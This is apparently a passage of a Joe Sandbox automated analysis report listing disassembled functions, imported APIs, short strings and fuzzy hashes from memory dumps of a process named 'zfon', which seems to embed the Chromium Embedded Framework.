Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: cef_string_map_alloc$memset
String ID:
API String ID: 3154343008-0
Opcode ID: 6ec1ee5972c53574257693c79e1a76e05e1dd9cfbc43a925a4a071997873a1f2
Instruction ID: 54b861b8465c350ed9fd57d198d9943673785a3a34c07824decb42ecf5269356
Opcode Fuzzy Hash: 6ec1ee5972c53574257693c79e1a76e05e1dd9cfbc43a925a4a071997873a1f2
Instruction Fuzzy Hash: A7515222608B8185EB50EF65E8402AEA7B1FF88794F944132EB9C536EDDF3CD545C7A0

Function 00007FF7F96EA580 Relevance: 15.0, APIs: 10, Instructions: 27COMMON

Download Yara Rule

APIs

cef_string_map_alloc.LIBCEF ref: 00007FF7F96EA58D
cef_string_map_alloc.LIBCEF ref: 00007FF7F96EA596
cef_string_map_alloc.LIBCEF ref: 00007FF7F96EA59F
cef_string_map_alloc.LIBCEF ref: 00007FF7F96EA5A8
cef_string_map_alloc.LIBCEF ref: 00007FF7F96EA5B4
cef_string_map_alloc.LIBCEF ref: 00007FF7F96EA5C0
cef_string_map_alloc.LIBCEF ref: 00007FF7F96EA5CC
cef_string_map_alloc.LIBCEF ref: 00007FF7F96EA5D8
cef_string_map_alloc.LIBCEF ref: 00007FF7F96EA5E4
cef_string_map_alloc.LIBCEF ref: 00007FF7F96EA5F0

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: cef_string_map_alloc
String ID:
API String ID: 3041573648-0
Opcode ID: b158af5b53e103a09b4aab3a9a72efacb738642fba927685012b0b402389091f
Instruction ID: 4aface367b1dcecef05ec937043ffa97b8a7c9468732a3f00ed2d4c27eb24bc0
Opcode Fuzzy Hash: b158af5b53e103a09b4aab3a9a72efacb738642fba927685012b0b402389091f
Instruction Fuzzy Hash: FEF0D412A1C68A91EBD0FF64CC522FD5620AF68748FC45D31E66E450EB9F18D54AC3B2

Function 00007FF8BFAD1650 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF8BFAD17EA
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFAD17F7

Part of subcall function 00007FF8BFAD3448: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFAD3456

terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFAD1AAB
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFAD1AF6
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8BFAD1B2B

Strings

csm, xrefs: 00007FF8BFAD1793
csm, xrefs: 00007FF8BFAD1813
csm, xrefs: 00007FF8BFAD1731

Memory Dump Source

Source File: 00000005.00000002.2549530455.00007FF8BFAD1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8BFAD0000, based on PE: true

Associated: 00000005.00000002.2549435771.00007FF8BFAD0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.2549570951.00007FF8BFAD5000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.2549677238.00007FF8BFAD8000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.2549715751.00007FF8BFAD9000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfad0000_zfon.jbxd

Similarity

API ID: abortterminate$Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 211107550-393685449
Opcode ID: 78c6e7fb34b0392c5f88638df05ce5e29abaa94eb5bf539d305eb9caf3e55ea3
Instruction ID: 3bdf394af6a9a6f182ba04e17fa910242469319ff6672a6f332c788f892bc7c6
Opcode Fuzzy Hash: 78c6e7fb34b0392c5f88638df05ce5e29abaa94eb5bf539d305eb9caf3e55ea3
Instruction Fuzzy Hash: C1E1A37A9087818BF7389FA8D4822AD7BA4FB4578CF146136DB8D57696DF38E481C700

Function 00007FF8BFB537F8 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF8BFB53996
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFB539A3

Part of subcall function 00007FF8BFB56E48: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF8BFB529EE), ref: 00007FF8BFB56E56

terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFB53C57
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFB53CA2
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8BFB53CD7

Strings

csm, xrefs: 00007FF8BFB538DD
csm, xrefs: 00007FF8BFB5393F
csm, xrefs: 00007FF8BFB539BF

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: abortterminate$Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 211107550-393685449
Opcode ID: 6f42a4adf4f654b9ccc7c674dc7e4c3ff1af33df0a1f36dd7bc44f2aa948d2c7
Instruction ID: 53c79c87c2f89fd0243228c05788bab3e3f1e1902dfd63a4e4a1d43f78facdc3
Opcode Fuzzy Hash: 6f42a4adf4f654b9ccc7c674dc7e4c3ff1af33df0a1f36dd7bc44f2aa948d2c7
Instruction Fuzzy Hash: EEE19B73A187928AE7609BB9D4A02AD77A1FB45788F180235DB8D57B96CF3CF491C700

Function 00007FF7F96E7F80 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 273COMMON

Download Yara Rule

APIs

cef_string_map_alloc.LIBCEF ref: 00007FF7F96E8001
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E80DA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E8101
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E817F

Part of subcall function 00007FF7F9702170: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F970222D
Part of subcall function 00007FF7F9702170: memcpy.VCRUNTIME140 ref: 00007FF7F9702248
Part of subcall function 00007FF7F9702170: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F9702268
Part of subcall function 00007FF7F9702170: memmove.VCRUNTIME140 ref: 00007FF7F970229E

cef_string_map_alloc.LIBCEF ref: 00007FF7F96E81D8
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E8231
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E834A

Strings

c, xrefs: 00007FF7F96E8125

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: cef_string_map_alloc$free$mallocmemcpymemmove
String ID: c
API String ID: 2367844967-112844655
Opcode ID: cc7572d50cf446b6721c6a399df25483392e0959237572a028bf90dfacc4acc9
Instruction ID: 3f89a8823c476170007fea590707ff1ef95e6eceb310cbd2d8dbb99c6914b472
Opcode Fuzzy Hash: cc7572d50cf446b6721c6a399df25483392e0959237572a028bf90dfacc4acc9
Instruction Fuzzy Hash: 0FD17E22B08B829AFB15EF64D8403EC67B1EB49B88F844035DE5D27AD9CF39D415C3A5

Function 00007FF7F96F1C70 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 195COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF7F96F1CFC
cef_string_map_alloc.LIBCEF ref: 00007FF7F96F1F24

Strings

www.battle.net, xrefs: 00007FF7F96F1DD0

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: cef_string_map_allocmemset
String ID: www.battle.net
API String ID: 3617466678-3493060400
Opcode ID: c7e2bc2cc281e77f54a6eaeeaf87b570be9d95c1c557086e9584b24d8a358c3a
Instruction ID: 2594e52bb039eaf9bc5bed240af8d204c3369a82dc2c920272a91c25bcf21447
Opcode Fuzzy Hash: c7e2bc2cc281e77f54a6eaeeaf87b570be9d95c1c557086e9584b24d8a358c3a
Instruction Fuzzy Hash: 1991BF2260974285EF74AF14D8403B9A7B1EB84BD8F994131DA6D43AECEF3CD845C7A0

Function 00007FF8B9105C48 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 134COMMONLIBRARYCODE

Download Yara Rule

APIs

localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B9105C89

Part of subcall function 00007FF8B90E74A0: ___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74B8
Part of subcall function 00007FF8B90E74A0: ___mb_cur_max_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74C0
Part of subcall function 00007FF8B90E74A0: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74C9
Part of subcall function 00007FF8B90E74A0: __pctype_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74E5

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B9105D10
_Maklocstr.LIBCPMT ref: 00007FF8B9105D4F
_Maklocstr.LIBCPMT ref: 00007FF8B9105D69
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF8B9105E3A

Part of subcall function 00007FF8B9116410: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B9116419
Part of subcall function 00007FF8B9116410: _CxxThrowException.VCRUNTIME140(?,?,?,?,?,?,?,?,00007FF8B912CAF9,?,?,00000000,00007FF8B90EC4D0), ref: 00007FF8B911642A

Strings

,, xrefs: 00007FF8B9105DB8
false, xrefs: 00007FF8B9105D48
true, xrefs: 00007FF8B9105D62

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: Maklocstr$Concurrency::cancel_current_taskExceptionThrow___lc_codepage_func___lc_locale_name_func___mb_cur_max_func__pctype_funccalloclocaleconvstd::bad_alloc::bad_alloc
String ID: ,$false$true
API String ID: 4163931919-760133229
Opcode ID: c0f2ef7070c1f49761d02a5703fcc8a9b7b3e5ed5308bd7948f2b64a82fafe73
Instruction ID: 06360f17a534aa0420ba9ae0590860670d022e5e23bb7cb6dad3381d0f75d052
Opcode Fuzzy Hash: c0f2ef7070c1f49761d02a5703fcc8a9b7b3e5ed5308bd7948f2b64a82fafe73
Instruction Fuzzy Hash: 21515F22618BC192D621CF25F4402AAB774FB897A4F505226EBDE077A9EF3CD145D740

Function 00007FF8BFB5C808 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 111COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5C9BC

Part of subcall function 00007FF8BFB594CC: DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB59A3D
Part of subcall function 00007FF8BFB594CC: DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB59A72

DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5C96E

Strings

cli::array<, xrefs: 00007FF8BFB5C93B
cli::pin_ptr<, xrefs: 00007FF8BFB5C985
std::nullptr_t, xrefs: 00007FF8BFB5C8E7
void , xrefs: 00007FF8BFB5C87A
std::nullptr_t , xrefs: 00007FF8BFB5C8FA
void, xrefs: 00007FF8BFB5C852

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: Name::operator+
String ID: cli::array<$cli::pin_ptr<$std::nullptr_t$std::nullptr_t $void$void
API String ID: 2943138195-2239912363
Opcode ID: 39f267e24cea2a085efea57700c8f0511391629eccd065b63ffe6c0b5b6c4cba
Instruction ID: 48ac059b450e12870da3120f6627efb27affe66e3780557d9262b381828ee135
Opcode Fuzzy Hash: 39f267e24cea2a085efea57700c8f0511391629eccd065b63ffe6c0b5b6c4cba
Instruction Fuzzy Hash: F45158A2E18B569CFB12CFA8E8602BD77B1BB08788F544136DB4D16B95DF7CA084C750

Function 00007FF8B90FB890 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106COMMON

Download Yara Rule

APIs

std::ios_base::_Init.LIBCPMT ref: 00007FF8B90FB8A8

Part of subcall function 00007FF8B90ED0A0: std::locale::_Init.LIBCPMT ref: 00007FF8B90ED0FE

std::ios_base::_Addstd.LIBCPMT ref: 00007FF8B90FB8E6
std::ios_base::failure::failure.LIBCPMT ref: 00007FF8B90FB938
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B90FB949
setvbuf.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF8B90FB982

Strings

ios_base::eofbit set, xrefs: 00007FF8B90FB913
ios_base::failbit set, xrefs: 00007FF8B90FB90C
ios_base::badbit set, xrefs: 00007FF8B90FB900, 00007FF8B90FB950

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: Initstd::ios_base::_$AddstdExceptionThrowsetvbufstd::ios_base::failure::failurestd::locale::_
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 692481045-1866435925
Opcode ID: fd2f3828b474fe88a08b624c1155f3347718e21b58a1bf8b771f14d77974cb8c
Instruction ID: 0643a3c8f734ec3be961e70fa18f13d63121746974d49c064a78751b23d6edb5
Opcode Fuzzy Hash: fd2f3828b474fe88a08b624c1155f3347718e21b58a1bf8b771f14d77974cb8c
Instruction Fuzzy Hash: 30414A32A18B86D6EF548F29D4413A923A0FB54B88F544135CB4C4B759EF3DD6A5CB80

Function 00007FF8B90ED650 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 76COMMONLIBRARYCODE

Download Yara Rule

APIs

std::ios_base::failure::failure.LIBCPMT ref: 00007FF8B90ED6A4
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B90ED6B5
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B90ED6E4
std::ios_base::failure::failure.LIBCPMT ref: 00007FF8B90ED725
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B90ED736

Strings

ios_base::eofbit set, xrefs: 00007FF8B90ED67F, 00007FF8B90ED700
ios_base::failbit set, xrefs: 00007FF8B90ED650, 00007FF8B90ED678, 00007FF8B90ED6F9
ios_base::badbit set, xrefs: 00007FF8B90ED66D, 00007FF8B90ED6C0, 00007FF8B90ED6C1, 00007FF8B90ED6EE

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionThrow$std::ios_base::failure::failure
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 1099746521-1866435925
Opcode ID: 2623c180e2649d673c19943a1c372692043f06206a25c303505745926fdd538a
Instruction ID: 52a0e4b738551af5fa628c038aa480601b148bb19e6cb8f33c916f66e1d48503
Opcode Fuzzy Hash: 2623c180e2649d673c19943a1c372692043f06206a25c303505745926fdd538a
Instruction Fuzzy Hash: 3B21F461E1D9CBA2EE149F0CD8515F92320EF907C8F980075DB2E46691EF2DE647C750

Function 00007FF7F96E9ED0 Relevance: 13.7, APIs: 9, Instructions: 161COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140 ref: 00007FF7F96E9F9A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E9FC9
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E9FD9
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E9FE9
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E9FF6
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96EA099
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96EA0A9
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96EA0B9
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96EA0C6

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$memcmp
String ID:
API String ID: 807481086-0
Opcode ID: 6694e026aaf3a7002ff2ed4c44ca68141b0bbbe39b4cc9ae27ff4adb9968087a
Instruction ID: fa702d49b1434d1fcda619d7ff455922fba060d5442205cfcbed4b976a4878ca
Opcode Fuzzy Hash: 6694e026aaf3a7002ff2ed4c44ca68141b0bbbe39b4cc9ae27ff4adb9968087a
Instruction Fuzzy Hash: 8F61EF22908B4694FB54BF15E848369A3B2EB85BE4F840135DB6D037D9CF7DE881C3A5

Function 00007FF7F96EBA90 Relevance: 12.6, APIs: 10, Instructions: 150COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F96E2470: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF7F96E22DB), ref: 00007FF7F96E24CB
Part of subcall function 00007FF7F96E2470: memcpy.VCRUNTIME140(?,?,?,00007FF7F96E22DB), ref: 00007FF7F96E24E2
Part of subcall function 00007FF7F96E2470: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF7F96E22DB), ref: 00007FF7F96E24FA

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7F96EBB6F
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7F96EBB8C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7F96EBBAF
memmove.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7F96EBBE9
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7F96EBBFF
memmove.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7F96EBC2C
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7F96EBC46
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7F96EBC60
memmove.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00000000,?,-8000000000000000,?,00000000), ref: 00007FF7F96EBC7E
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00000000,?,-8000000000000000,?,00000000), ref: 00007FF7F96EBC93

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: memcpy$freememmove$malloc
String ID:
API String ID: 4013446061-0
Opcode ID: e089aead12471174f67b217228ee1f711afbbab99f3f5fe2c7168f9a7e92059a
Instruction ID: 7a3c2f78a030d08d517449a9973a8cc535acafb0d66d4e1992eb1e9063884e0a
Opcode Fuzzy Hash: e089aead12471174f67b217228ee1f711afbbab99f3f5fe2c7168f9a7e92059a
Instruction Fuzzy Hash: E9518166609B8141DB11EF16E94436AE771EB89FE4F940235EE6E07BDDEE3DD0408350

Function 00007FF8B9124620 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 175COMMON

Download Yara Rule

APIs

std::ios_base::failure::failure.LIBCPMT ref: 00007FF8B912481C
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B912482D
std::ios_base::failure::failure.LIBCPMT ref: 00007FF8B912486E
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B912487F

Strings

ios_base::eofbit set, xrefs: 00007FF8B91247F7, 00007FF8B9124849
ios_base::failbit set, xrefs: 00007FF8B91247F0, 00007FF8B9124842
